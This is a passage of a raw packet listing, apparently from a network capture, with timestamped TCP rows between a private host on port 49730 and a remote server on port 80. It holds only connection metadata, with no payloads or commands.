Oct 13, 2024 11:54:12.352859974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352864027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352880955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352899075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352929115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352933884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352957010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352965117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352988005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352998018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353025913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353034019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353049994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353070974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353099108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353105068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353142977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353157997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353166103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353190899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353219032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353224993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353243113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353260040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353286028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353291988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353322029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353327036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353344917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353360891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353389025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353395939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353413105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353430033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353456020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353462934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353487015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353497028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353523970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353530884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353549957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353564024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353590012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353605032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353621006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353637934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353662968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353672028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353693008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353708029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353740931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353740931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353765011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353776932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353800058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353813887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353842020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353847980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353882074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353888035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353910923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353914976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353940010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353950977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.353976011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.353985071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354007006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354017973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354048967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354051113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354070902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354084969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354113102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354118109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354150057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354151964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354170084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354182959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354198933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354214907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354214907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354233027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354248047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354254007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354264975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354279041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354283094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354299068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354300022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354317904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354325056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354343891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354356050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354360104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.354377031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354399920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.354420900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.355288029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.355312109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.355329990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.355345964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.355357885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.355362892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.355379105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.355406046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.355406046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.355415106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.355432034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.355468988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.443785906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.443839073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.443876028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.443892002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.443911076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.443928003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.443928003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.443947077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.443975925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.443981886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.443999052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444017887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444042921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444055080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444077015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444088936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444117069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444128036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444160938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444166899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444191933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444195032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444216013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444227934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444252014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444262981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444317102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444319963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444344997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444369078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444374084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444406986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444428921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444442987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444464922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444477081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444505930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444518089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444552898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444593906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444628954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444662094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444673061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444695950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444710016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444730997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444735050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444766998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444771051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444787979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444799900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444824934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444835901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444860935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444869041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444890976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444902897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444928885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444937944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444957972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.444972992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.444991112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445005894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445025921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445039988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445064068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445075035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445103884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445125103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445132971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445183039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445193052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445219040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445241928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445252895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445278883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445286989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445307970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445338011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445343971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445372105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445393085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445405006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445441008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445456982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445466995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445508003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445518970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445543051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445565939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445579052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445605040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445611954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445646048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445648909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445668936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445681095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445713043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445713043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445730925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445745945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445771933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445781946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445801973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445815086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445836067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445852041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445875883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445911884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445920944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445945024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.445967913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.445980072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446002960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446012020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446041107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446046114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446058035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446099997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446124077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446135044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446155071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446172953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446188927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446208000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446234941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446242094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446255922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446278095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446309090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446330070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446342945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446366072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446388960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446403027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446418047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446436882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446464062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446472883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446499109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446510077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446527958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446547985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446571112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446583033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446599007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446614981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446636915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446649075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446671963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446682930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446707010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446717024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446736097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446751118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446782112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446784973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446801901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446820021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446841955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446852922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446878910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446887016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446907043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446938038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446943998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.446985006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.446997881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447024107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447047949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447058916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447084904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447093010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447115898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447125912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447145939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447160006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447185040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447213888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447215080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447249889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447272062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447282076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447308064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447314978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447343111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447350979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447365999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447408915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447412968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447448015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447475910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447499990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447540998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447578907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.447599888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.447635889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.448205948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.448266029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.448314905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.448348999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.448371887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.448384047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.448410034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.448416948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.448434114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.448451042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.448474884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.448503017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.448508024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.448564053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536179066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536230087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536266088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536298037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536333084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536365032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536398888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536442995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536442995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536442995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536442995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536443949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536443949 CEST	49730	80	192.168.2.4	185.215.113.37
